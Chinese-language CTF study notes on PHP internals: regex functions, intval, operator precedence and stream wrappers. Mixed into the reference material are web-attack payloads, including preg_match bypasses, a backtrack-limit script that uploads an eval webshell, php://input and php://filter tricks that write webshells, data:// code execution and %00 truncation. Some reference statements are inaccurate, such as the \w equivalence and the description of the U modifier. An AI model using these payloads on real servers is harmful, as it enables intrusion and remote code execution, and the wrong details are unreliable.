PHP特性
PHP正则
- php的正则表达式
- 正则表达式是形成搜索模式的字符序列,是一个特定的格式化模式,可以匹配、替换、截取匹配的字符串
- 正则表达式可用于执行所有类型的文本搜索和文本替换操作
- 在 PHP 中,正则表达式是由分隔符、模式和可选修饰符组成的字符串
- 最左原则:正则表达式总是从目标字符串的最左侧开始,依次匹配,直到匹配到符合表达式要求的部分,或直到匹配目标字符串的结束
- 最长原则:对于匹配到的目标字符串,正则表达式总是会匹配到符合正则表达式要求的最长的部分——即贪婪模式
- 分隔符可以是任何非字母、数字、反斜杠或空格的字符, 最常见的分隔符是正斜杠
/
,但是当模式包含正斜杠时,可以选择其他分隔符(例如#
或~
) - 如果需要搜索其中一个特殊字符,可以使用反斜杠
\
对其进行转义,例如,要搜索一个或多个问号,可以使用以下表达式:$pattern = '/\?+/'
元字符 | 含义描述 |
---|---|
\d | 匹配任意一个十进制数字,等价于**[0-9]** |
\D | 匹配任意一个除十进制以外的数字,等价于**[^0-9]** |
\s | 匹配任意一个空白字符 ,等价于**[\f\n\r\t\v]** |
\S | 匹配除空白字符以外任何一个字符,等价于**[^\f\n\r\t\v]** |
\w | 匹配任意一个数字、字母或下划线,等价于**[0-9a-zA-Z]** |
\W | 匹配除数字字母下划线以外的任意一个字符,等价于**[^0-9a-zA-Z]** |
* | 匹配0次、一次或多次其前的原子;zo* 能匹配 z、 zo、zoo |
+ | 匹配一次或多次其前的原子,等价于**{1,}例如,zo+** 能匹配 zo 以及 zoo |
? | 匹配0次或一次其前的原子,**”do(es)?”** 可以匹配 “do” 或 “does” |
. | 匹配除了换行符以外的任意一个字符 |
| | 匹配两个或多个分支选择 |
{n} | 表示其前面的原子恰好出现n次 |
{n,} | 表示其前面的原子出现不少于n次 |
{n,m} | 表示其前面的原子至少出现n次,最多出现m次 |
^ 或 \A | 匹配输入字符串的开始位置(或在多行模式下行的开头,即紧随一换行符之后);在字符域**[]中表示取反,如[^\w]等于\w**;而^\w表示以单词字符开头 |
$ 或 \Z | 匹配输入字符串的结束位置(或在多行模式下行的结尾,即紧随一换行符之前);**\w$**表示以单词字符结尾 |
\b | 匹配单词的边界 |
\B | 匹配除单词边界以外的部分 |
[] | 匹配方括号中指定的任意一个原子 |
[^] | 匹配除方括号中的原子以外的任意一个字符 |
() | 匹配其一个整体为一个原子,即模式单元;可以理解为由多个单个原子组成的大原子;如(my|your)baby,如果没有括号,|将匹配的是my或yourbaby,有了括号,匹配的就是mybaby或yourbaby |
模式修正符号 | 功能描述 |
---|---|
i | 在和模式进行匹配时不区分大小写 |
m | 将字符串视为多行;默认的正则开始”^”和结束”$”将目标字符串作为单一的一 “行” 字符(甚至其中包含有换行符也是如此);如果在修饰符中加上”m”,那么开始和结束将会指字符串的每一行,每一行的开头就是”^”,结尾就是”$” |
s | 如果设定了此字符,模式中的圆点元字符”.”匹配所有的字符,包括换行符;即将字符串视为单行,换行符作为普通字符看待 |
x | 模式中的空白忽略不计,除非它已经被转义 |
e | 只用在pre_replace()函数中,在替换字符串中对逆向引用做正常的替换,将其作为PHP代码求值,并用其结果来替换所搜索的字符串 |
U | 贪婪模式,最大限度匹配 |
D | 模式中的”$”仅匹配目标字符串的结尾,没有此选项时,如果最后一个字符是换行符的话,美元符号也会匹配此字符之前;如果设定了m修正字符则忽略此选项 |
贪婪匹配与惰性匹配
- 贪婪匹配:就是匹配尽可能多的字符
比如,正则表达式中/m.*n/
,它将匹配最长以m开始,n结尾的字符串,如果用它来搜索manmpndegenc的话,它将匹配到的字符串是manmpndegen而非man,可以这样想,当匹配到m的时候,它将从后面往前匹配字符n - 惰性匹配:就是匹配尽可能少的字符
有的时候,我们需要的并不是去贪婪匹配,而是尽可能少的去匹配;这时候,就需要将其转为惰性匹配,要在其后面添加一个?
,如m.*?n
将匹配manmpndegenc,匹配到的字符串是man
函数符 | 描述 |
---|---|
*? | 零次或多次,但尽可能少的匹配 |
+? | 一次或多次,但尽可能少的匹配 |
?? | 0次或1次,但尽可能少的匹配 |
{n,}? | 至少n次,但尽可能少的匹配 |
{n,m}? | n到m次 ,但尽可能少的匹配 |
回溯和固态分组
回溯
- 找不到什么特别清楚的定义,所以找了个例子
- 字符串:
$str='aageacwgewcaw'
- 正则表达式:
$pattern='/a\w*c/i'
——不区分大小写的匹配a开头c结尾的由数字字母下划线构成的字符串
匹配过程 | 接下来操作描述 |
---|---|
‘a\w*c’中a匹配到’aageacwgewcaw’中第一个字符a | \w进行下一个字符匹配 |
因为\w是贪婪匹配,会一直匹配到’aageacwgewcaw’中最后一个字符w | c进行下一个字符匹配时 |
‘a\w*c’中c发现没有可以匹配的 | 于是\w匹配进行第一次回溯,匹配到倒数第二个字符a |
‘a\w*c’中c发现还是没有可以匹配的 | 于是\w匹配进行第二次回溯,匹配到倒数第三个字符c |
‘a\w*c’中c匹配成功 | 匹配结束返回结果 |
固态分组
‘\w+:’
这个表达式在进行匹配时的流程是:- 会优先去匹配所有的符合\w的字符,假如字符串的末尾没有
’:’
,即匹配没有找到冒号,此时触发回溯机制,他会迫使前面的\w+
释放字符,并且在交还的字符中重新尝试与’:’
作比对 - 但是
\w
是不包含冒号的,显然无论如何都不会匹配成功,可是依照回溯机制,引擎还是会往前找,造成对资源的浪费 - 因此就需要避免这种回溯,将前面匹配到的内容固化,不令其存储备用状态,那么引擎就会因为没有备用状态可用而结束匹配过程,减少回溯的次数
- 会优先去匹配所有的符合\w的字符,假如字符串的末尾没有
- 所以固态分组主要目的是避免不必要的回溯,使用
(?>)
来实现,将表达式改为'/(?>\w+):/'
正则表达式函数
函数 | 描述 |
---|---|
preg_match() | 如果在字符串中找到该模式,则返回1,否则返回0, 如果发生错误返回 FALS;在第一次匹配后 将会停止搜索 |
preg_match_all() | 返回模式在字符串中被找到的次数,也可以是0;会一直搜索subject直到到达结尾 |
preg_replace() | 返回一个新字符串,其中匹配的模式已被另一个字符串替换 |
preg_match()
- 函数原型:
int preg_match( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] )
- 参数:
- $pattern:要搜索的模式;**$subject**:字符串
- $matches:如果提供了参数
matches
,它将被填充为搜索结果,$matches[0]
将包含完整模式匹配到的文本,$matches[1]
将包含第一个捕获子组匹配到的文本,以此类推- $flags:可以结合下面标记使用
PREG_OFFSET_CAPTURE
,如果传递了这个标记,对于每一个出现的匹配返回时会附加字符串偏移量(相对于目标字符串的)——注意:这会改变填充到matches参数的数组,使其每个元素成为一个由 第0个元素是匹配到的字符串,第1个元素是该匹配字符串 在目标字符串subject中的偏移量PREG_UNMATCHED_AS_NULL
使用该标记,未匹配的子组会报告为null
;未使用时,报告为空的string- $offset:通常搜索从目标字符串的开始位置开始,可选参数
offset
用于指定从目标字符串的某个位置开始搜索(单位是字节)
preg_match_all()
- 搜索
subject
中所有匹配pattern
给定正则表达式的匹配结果并且将它们以flag
指定顺序输出到matches
中,在第一个匹配找到后, 子序列继续从最后一次匹配位置搜索- 函数原型:
int preg_match_all( string $pattern, string $subject [, array &$matches = [, int$flags= 0[, int $offset = 0 ]]] )
- 参数:
- $pattern:要搜索的模式;**$subject**:字符串
- $matches:多维数组,作为输出参数输出所有匹配结果, 数组排序通过
flags
指定- $flags:可以结合下面标记使用(注意不能同时使用
PREG_PATTERN_ORDER
和PREG_SET_ORDER
)
PREG_PATTERN_ORDER
结果排序为$matches[0]
保存完整模式的所有匹配,$matches[1]
保存第一个子组的所有匹配,以此类推PREG_SET_ORDER
结果排序为$matches[0]包含第一次匹配得到的所有匹配(包含子组), $matches[1]是包含第二次匹配到的所有匹配(包含子组)的数组,以此类推PREG_OFFSET_CAPTURE
如果这个标记被传递,每个发现的匹配返回时会增加它相对目标字符串的字节偏移量, 注意这会改变matches
中的每一个匹配结果字符串元素,使其 成为一个第0个元素为匹配结果字符串,第1个元素为匹配结果字符串在subject
中的偏移量PREG_UNMATCHED_AS_NULL
使用该标记,未匹配的子组会报告为null
;未使用时,报告为空的string- 如果没有给定排序标记,假定设置为
PREG_PATTERN_ORDER
- $offset:通常搜索从目标字符串的开始位置开始,可选参数
offset
用于指定从目标字符串的某个位置开始搜索(单位是字节)
preg_replace()
- 函数原型:
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
- 搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。
- 参数说明:
- $pattern:要搜索的模式,可以是字符串或一个字符串数组
- $replacement:用于替换的字符串或字符串数组
- $subject:要搜索替换的目标字符串或字符串数组
- $limit:可选,对于每个模式用于每个 subject 字符串的最大可替换次数, 默认是-1(无限制)
- $count:可选,为替换执行的次数
preg_match()绕过
数组绕过
- preg_match()只能处理字符串,当传入的subject是数组时会返回false
- preg_match第二个参数要求是字符串,如果传入数组则不会进入if语句
<?php
if(preg_match("/[0-9]/", $num)){
die("no!");
}
if(intval($num)){
echo $flag;
}
//payload: num[]=1
intval()函数
用于获取变量的整数值
通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值, intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1
函数原型:
int intval ( mixed $var [, int $base = 10 ] )
参数说明:
$var:要转换成 integer 的数量值
$base:转化所使用的进制
如果 base 是 0,通过检测 var 的格式来决定使用的进制:
- 如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex)
如果字符串以 “0” 开始,使用 8 进制(octal),否则,将使用 10 进制 (decimal)
- $var中存在字母的话遇到字母就停止读取
成功时返回 var 的 integer 值,失败时返回 0,空的 array 返回 0,非空的 array 返回 1
如果字符串不是是数字字符串或者无前导数字, 则转换为0
如果参数是字符串,则返回字符串中第一个不是数字的字符之前的数字串所代表的整数值,如果字符串第一个是
-
,则从第二个开始算起
<?php
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
else{
echo intval($num,0);
}
//intval('4476.0')===4476 小数点
//intval('+4476.0')===4476 正负号
//intval('4476e0')===4476 科学计数法
//intval('0x117c')===4476 16进制
//intval('010574')===4476 8进制
//intval(' 010574')===4476 8进制+空格
//intval(' 4476')===4476 空格
换行绕过
<?php
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'NO!';
}
else{
echo $flag;
}
}
//payload: a=%0aphp
.
不会匹配换行符
<?php
if (preg_match('/^.*(flag).*$/', $c)) {
echo 'NO!';
}
//payload: c=\nflag
在非多行模式下,$
会忽略在句尾的%0a
<?php
$c=$_GET['c'];
if (preg_match('/^flag$/', $_GET['c']) && $_GET['c'] !== 'flag') {
echo $flag;
}
//payload: c=flag%0a
PCRE回溯次数限制
PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限
pcre.backtrack_limit
,回溯次数上限默认是 100 万如果回溯次数超过了 100 万,preg_match 将不再返回 1 和 0,而是 false
可以通过
var_dump(ini_get('pcre.backtrack_limit'));
的方式查看当前环境下的上限
<?php
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}
if(!is_php($input)) {
// fwrite($f, $input); ...
}
//大意是判断一下用户输入的内容有没有PHP代码,如果没有,则写入文件
可以通过发送超长字符串的方式,使正则执行失败,最后绕过目标对PHP语言的限制
import requests
from io import BytesIO
files = {
'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}
res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False)
print(res.headers)
#但是还没学python 抄了个脚本参考一下
file_put_contents()
- 把一个字符串写入文件中
- 函数原型:
int file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] )
- 参数:
- filename:要在其中写入数据的文件的路径
- data:要写入的数据,可以是字符串、数组或流资源
- 如果是流资源,则该流的剩余缓冲区将复制到指定的文件中,与使用
stream_copy_to_stream()
类似 - data还可以将参数指定为单维数组,等效于
datafile_put_contents($filename, implode('', $array))
- 如果是流资源,则该流的剩余缓冲区将复制到指定的文件中,与使用
- flags的值可以是(
FILE_USE_INCLUDE_PATH
,LOCK_EX
,FILE_APPEND
)的任意组合,并可用|
运算符连接
- 该函数访问文件时,遵循以下规则:
- 如果设置了 FILE_USE_INCLUDE_PATH,那么将检查 filename副本的内置路径
- 如果文件不存在,将创建一个文件
- 打开文件
- 如果设置了 LOCK_EX,那么将锁定文件
- 如果设置了 FILE_APPEND,那么将移至文件末尾,否则将会清除文件的内容
- 向文件中写入数据
- 关闭文件并对所有文件解锁
- 如果成功,该函数将返回写入文件中的字符数,如果失败,则返回 False
in_array()
- in_array() 函数搜索数组中是否存在指定的值,延用了php中的== ,感觉跟array_search差不多
- 函数原型:
in_array(search,array,type)
- 参数:
- search:必需,规定要在数组搜索的值
- array:必需,规定要搜索的数组
- type:可选,如果设置该参数为 true,则检查搜索的数据与数组的值的类型是否相同
- 如果search参数是字符串,且type参数设置为 true,则搜索区分大小写
- 返回值:如果在数组中找到值则返回 TRUE,否则返回 FALSE
运算符与优先级
运算符优先级指定了两个表达式绑定得有多 “紧密”
运算符优先级相同,那运算符的结合方向决定了该如何运算
- “-“是左联的,那么
1 - 2 - 3
就等同于(1 - 2) - 3
并且结果是-4
- “=”是右联的,所以
$a = $b = $c
等同于$a = ($b = $c)
- “-“是左联的,那么
关于NULL 合并运算符
??
- 当 expr1 为 **
null
**,表达式(expr1) ?? (expr2)
等同于 expr2,否则为 expr1
- 当 expr1 为 **
&&与||的优先级高于=,=的优先级高于and与or ——(test3.php)
php前边是true,后边就不比了
关系型运算符优先级高到低为:not> and> or,&&优先级高于||
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); if($v0){ //...... } //只要令v1=数字,v0就为true
xor:异或运算——如果 x 和 y 有且仅有一个为 true,则返回 true,(
x==6 xor y==3
) 返回 false-这个是取反
三目运算符
?:
的理解和变量覆盖三元运算符是个语句,因此其求值不是变量,而是语句的结果
表达式
(expr1) ? (expr2) : (expr3)
在 expr1 求值为true
时的值为 expr2,在 expr1 求值为false
时的值为 expr3<?php // 三目运算符的例子 $action = (empty($_POST['action'])) ? 'default' : $_POST['action']; // 以上等同于以下的 if/else 语句 if (empty($_POST['action'])) { $action = 'default'; } else { $action = $_POST['action']; }
<?php $_GET?$_GET=&$_POST:'flag'; //GET被设置,就可以用POST覆盖GET的值 $_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag'; $_GET['flag']=='flag'?$_GET=&$_SERVER:'flag'; //是flag就被COOKIE覆盖,然后被SERVER覆盖,不是flag被赋值flag然后条件成立也是被SERVER覆盖,且这个被覆盖的GET没有指定 highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__); //等于flag就输出flag,不等于显示源码 //payload: get:1=1 post:HTTP_FLAG=flag
&是按位与(全1为1,否则为0);|是按位或(全1为1,否则为0);^是按位异或(不同为1,相同为0)——计算方法同C++
~这个是按位取反
0取反结果为0,-1取反结果为0,-2取反结果为1,-3取反结果为2,-4取反结果为3,-5取反结果为4,依此类推,反过来也是一样
在计算机中,负数以其正值的补码形式表达
取反后的结果:从左向右看,第一位0正1符
正数和0,原码=反码=补码;负数,原码=(各位取反)反码=(各位取反+1或者反码+1)补码
正数取反(以2为例):
- 2的32位原码为 0000 0000 0000 0000 0000 0000 0000 0010
- 按位取反后为 1111 1111 1111 1111 1111 1111 1111 1101
- 由于最前面的数为1,符号位为1,即为负数,所以,以其正值的补码形式表示为(符号位不变,按位取反,末尾加1):1000 0000 0000 0000 0000 0000 0000 0011,所以输出为-3
负数取反(以-5为例):
- -5原码:10000000 00000000 00000000 00000101
- -5反码:11111111 11111111 11111111 11111010(符号位不变,其它位取反)
- -5补码:11111111 11111111 11111111 11111011(在反码上+1)
- 取反结果:00000000 00000000 00000000 00000100,化为十进制就是4
<< 左移运算的实质是将对应的数据的二进制值逐位左移若干位,并在空出的位置上填0,最高位溢出并舍弃;>>右移一位,和<<运算符类似
位运算符也有优先级:
~ & ^ |
(顺序从高到低)
ReflectionClass反射类
- ReflectionClass 反射类在PHP5新加入,继承自Reflector,它可以与已定义的类建立映射关系,通过反射类可以对类操作
- php反射类,可以理解为一个类的映射
- 反射类不仅仅可以建立对类的映射,也可以建立对PHP基本方法的映射,并且返回基本方法执行的情况,因此可以通过建立反射类
new ReflectionClass(system('cmd'))
来执行命令
call_user_func(_array)回调函数
- php系统调用用户自定义的函数,必须要通过一个代理函数来调用,叫间接调用,也叫回调
- call_user_func函数类似于一种特别的调用函数的方法,可以代替系统来调用我们自定义的函数
- call_user_func_array函数和call_user_func很相似,只不过是换了一种方式传递了参数,让参数的结构更清晰
- call_user_func_array函数与call_user_func不同的是,call_user_func_array是利用回调函数处理数组
- call_user_func函数和call_user_func_array函数都支持引用,这让他们和普通的函数调用更趋于功能一致:
- call_user_func调用的回调函数不仅仅是我们自定义的函数,还可以是php处理字符串的系统函数,传递的参数必须符合系统函数的传参顺序
- 回调函数是匿名函数,并且匿名函数不设参数,可以通过其他方式获取参数
关于匿名函数
- 匿名函数和普通函数是非常相似的,它可以有返回值,也可以接受参数,不同的是匿名函数会在声明时省略函数名
PHP伪协议
file://
- 作用:访问路径——绝对路径、相对路径、网络路径,且不受
allow_url_fopen
与allow_url_include
的影响 - 例如:
?file=file://D:\phpStudy\WWW\phpinfo.txt
|?file=./phpinfo.txt
|?file=http://127.0.0.1/phpinfo.txt
php://
作用:访问输入输出流
php://filter
是一种元封装器, 设计用于数据流打开时的筛选过滤应用,这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器php://filter/read=convert.base64-encode/resource=[文件名]
(针对php文件需要base64编码)——读取php文件并进行base64编码输出参数:
resource=<要过滤的数据流> 这个参数是必须的,它指定了你要筛选过滤的数据流
read=<读链的筛选列表> 该参数可选,可以设定一个或多个过滤器名称,以管道符
|
分隔。write=<写链的筛选列表> 该参数可选,可以设定一个或多个过滤器名称,以管道符
|
分隔。<;两个链的筛选列表> 任何没有以 read= 或 write= 作前缀的筛选器列表会视情况应用于读或写链
类型 过滤器名称 作用 字符串过滤器 string.rot13 等同于str_rot13(),rot13变换 字符串过滤器 string.toupper 等同于strtoupper(),转大写字母 字符串过滤器 string.tolower 等同于strtolower(),转小写字母 字符串过滤器 string.strip_tags 等同于strip_tags(),去除html、PHP语言标签 转换过滤器 convert.base64-encode & convert.base64-decode 等同于base64_encode()和base64_decode(),base64编码解码 转换过滤器 convert.quoted-printable-encode & convert.quoted-printable-decode quoted-printable 字符串与 8-bit 字符串编码解码 压缩过滤器 zlib.deflate & zlib.inflate 在本地文件系统中创建 gzip 兼容文件的方法,但不产生命令行工具如 gzip的头和尾信息,只是压缩和解压数据流中的有效载荷部分 压缩过滤器 bzip2.compress & bzip2.decompress 同上,在本地文件系统中创建 bz2 兼容文件的方法 加密过滤器 mcrypt.* libmcrypt 对称加密算法 加密过滤器 mdecrypt.* libmcrypt 对称解密算法
php://input
- 作用:执行POST数据中的php代码
- 示例:
http://127.0.0.1/cmd.php?cmd=php://input
–POST数据:<?php phpinfo()?>
- 若有写入权限,则
<?php fputs(fopen('1.php','w'),'<?php @eval($_POST[1]); ?>'); ?>
- 注意:
enctype="multipart/form-data"
的时候php://input
是无效的
filter协议的进阶利用:利用filter伪协议绕过死亡之die和exit
使用base64编码绕过
- 最常见的方法是使用base64的方法将content解码后传入
- base64编码中只包含64个可打印字符,而当PHP在解码base64时,遇到不在其中的字符时,会选择跳过这些字符,将有效的字符重新组成字符串进行解码
- 不仅我们的加密后的一句话木马进行base64解码,前面的死亡之exit也进行解码
- 由于死亡之exit中的代码,字符
<、?、;、>、
空格等字符不符合base64解码范围,最终解码符合要求的只有phpexit
这7个字符,而base64在解码的时候,是4个字节一组,因此还少一个,所以我们将这一个手动添加上去
使用rot13编码绕过
- 相比base64编码,rot13的绕过死亡之exit更加方便,因为不用考虑前面添加的内容是否可以用base64解码,也不需要计算可base64解码的字符数量
- 虽然rot13更加的方便,但是还是有缺点,就是当服务器开启了短标签解析,一句话木马即使写入了,也不会被PHP解析
多种过滤器绕过
- 再仔细观察死亡之exit的代码:
<?php exit; ?>
可以看到死亡之exit的代码其实本质上是XML标签因此我们可以使用strip_tags函数除去该XML标签 payload: ?filename=php://filter/string.strip_tags|convert.base64-decode/resource=1.php && POSTDATA: content=PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+
- 再仔细观察死亡之exit的代码:
配合file_put_contents( v3,str);函数 //在需要base64转换的时候
写文件:v3=php://filter/write=convert.base64-decode/resource=1.php&str=”aaaa”
data://
- 作用:自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据,通常可以用来执行PHP代码,一般需要用到base64编码传输
- 例如:
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
——zjctf一道例题 ?file=data://text/plain,<?php%20phpinfo();?>
zlib://&bzip2://&zlib://
- 作用:
zip:// & bzip2:// & zlib://
均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx
等等 - 示例:
zip://[压缩文件绝对路径]%23[压缩文件内的子文件名]
(#编码为%23),压缩 phpinfo.txt 为 phpinfo.zip ,压缩包重命名为 phpinfo.jpg ,并上传——?file=zip://D:\phpstudy_pro\WWW\PHP\TEST2\a.zip%23aa.txt
- compress.bzip2://file.bz2,压缩phpinfo.txt为phpinfo.bz2并上传(同样支持任意后缀名)——?file=compress.bzip2://D:\phpstudy_pro\WWW\PHP\TEST2\aa.bz2
- compress.zlib://file.gz,压缩 phpinfo.txt 为 phpinfo.gz 并上传(同样支持任意后缀名)——?file=compress.zlib://D:\phpstudy_pro\WWW\PHP\TEST2\a.gz
http:// & https://
- 常规 URL 形式,允许通过
HTTP 1.0
的 GET方法,以只读访问文件或资源,CTF中通常用于远程包含 - 例如:
?file=http://127.0.0.1/phpinfo.txt
ftp://
- 允许通过 FTP 读取存在的文件,以及创建新文件;如果服务器不支持被动(passive)模式的 FTP,连接会失败
- 用法:
ftp://example.com/pub/file.txt
ftp://user:password@example.com/pub/file.txt
ftps://example.com/pub/file.txt
ftps://user:password@example.com/pub/file.txt
glob://
- glob:// 查找匹配的文件路径模式
- glob: 数据流包装器
- 用法:glob://
phar://
phar://
协议与zip://
类似,同样可以访问zip格式压缩包内容- 例如:
?file=phar://D:/phpStudy/WWW/phpinfo.zip/phpinfo.txt
- phar://协议对象注入技术
ssh2://
- ssh2:// — 安全外壳协议 2
- 用法
ssh2.shell://user:pass@example.com:22/xterm
ssh2.exec://user:pass@example.com:22/usr/local/bin/somecmd
ssh2.tunnel://user:pass@example.com:22/192.168.0.1:14
ssh2.sftp://user:pass@example.com:22/path/to/filename
rar://
- 封装协议采用 url 编码,(相对/绝对)路径的 RAR 归档、一个可选的星号(
*
)、一个可选的井号(#
)和一个可选的存储在归档中的 url 编码条目名称,指定条目名称必须带有井号,条目名称开头的斜线是可选的 - 该封装协议可以打开文件和目录。当打开目录时,星号会强制返回未编码的目录条目名称,如果不指定星号,将返回 URL 编码的目录条目名称
- 用法:
rar://<url encoded archive name>[*][#[]]
ogg://
- ogg:// — 音频流
- 通过包装器 ogg:// 读取的文件, 是作为
OGG/Vorbis
格式的压缩音频编码, 同样,通过包装器 ogg:// 写入或追加的数据格式也是压缩音频 - 用法:
ogg://soundfile.ogg
ogg:///path/to/soundfile.ogg
ogg://http://www.example.com/path/to/soundstream.ogg
expect://
- expect:// — 处理交互式的流
- 由 expect:// 封装协议打开的数据流 PTY 通过提供了对进程 stdio、stdout 和 stderr 的访问
- 用法:
expect://command
is_file()函数
判断是否为文件
php伪协议绕过:
- highlight_file()可以识别php伪协议 is_file()不能识别php伪协议
- is_file判断给定文件名是否为一个正常的文件,返回值为布尔类型,is_file会认为php伪协议不是文件,但highlight_file认为伪协议可以是文件
- 若有过滤,可以换其他伪协议或改编码方式
/proc/self/root:在linux中/proc/self/root是指向根目录的 也就是如果在命令行中输入 ls /proc/self/root,其实显示的内容是根目录下的内容,多次重复后绕过is_file
file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
parse_str()函数
- 把查询字符串解析到变量中,语法:
parse_str(string,array)
- 参数:string 必需,规定要解析的字符串;array 可选,规定存储变量的数组名称,该参数指示变量存储到数组中
- 如果未设置array参数,则由该函数设置的变量将覆盖已存在的同名变量
ereg()截断漏洞
ereg()
函数搜索由指定的字符串作为由模式指定的字符串,如果发现模式则返回true
,否则返回false
,搜索对于字母字符是区分大小写的- 函数原型
int ereg(string pattern, string originalstring, [array regs])
- 可选的输入参数
regs
包含由正则表达式中的括号组成的所有匹配表达式的数组 - 如果有找到模式匹配,则返回
true
,否则返回false
ereg()
函数存在NULL截断漏洞,当传入的字符串包含%00时,只有%00前的字符串会传入函数并执行,而后半部分不会传入函数判断。因此可以使用%00截断,连接非法字符串,从而绕过函数
strrev()
- 反转字符串,常出现在%00截断漏洞中
- 注:%00是一个整体,不会反转成00%
Exception 异常处理类
- PHP 异常处理与Java相似,都使用try、throw、catch语句,发生异常时代码。如果异常没有被捕获,而且又没用使用
set_exception_handler()
作相应的处理的话,那么将发生一个严重的错误(致命错误),并且输出 “Uncaught Exception” (未捕获异常)的错误消息 - try:用于可能发生异常的代码块
- throw:规定如何触发(trigger)异常,用于抛出异常,每一个throw必须对应至少一个catch
- catch:捕获异常,并创建包含异常信息的对象
FilesystemIterator类读取文件
- FilesystemIterator获取指定目录下的所有文件
- getcwd()函数:获取当前工作目录 返回当前工作目录
php变量
$GLOBALS是一个PHP超级全局变量,用于从PHP脚本中的任何位置访问全局变量(也可以从函数或方法内部)
构造出
var_dump($GLOBALS);
可以输出全部变量值,包括自定义PHP双$($$)的变量覆盖:在双写$的时候,属于动态变量,就是后面的变量值作为新的变量名
return绕过
eval("return 1;phpinfo();");
会发现是无法执行phpinfo()的
但是php中数字是可以和命令进行一些运算的,例如 1-phpinfo();
是可以执行phpinfo()命令的
链接们:
https://www.anquanke.com/post/id/231507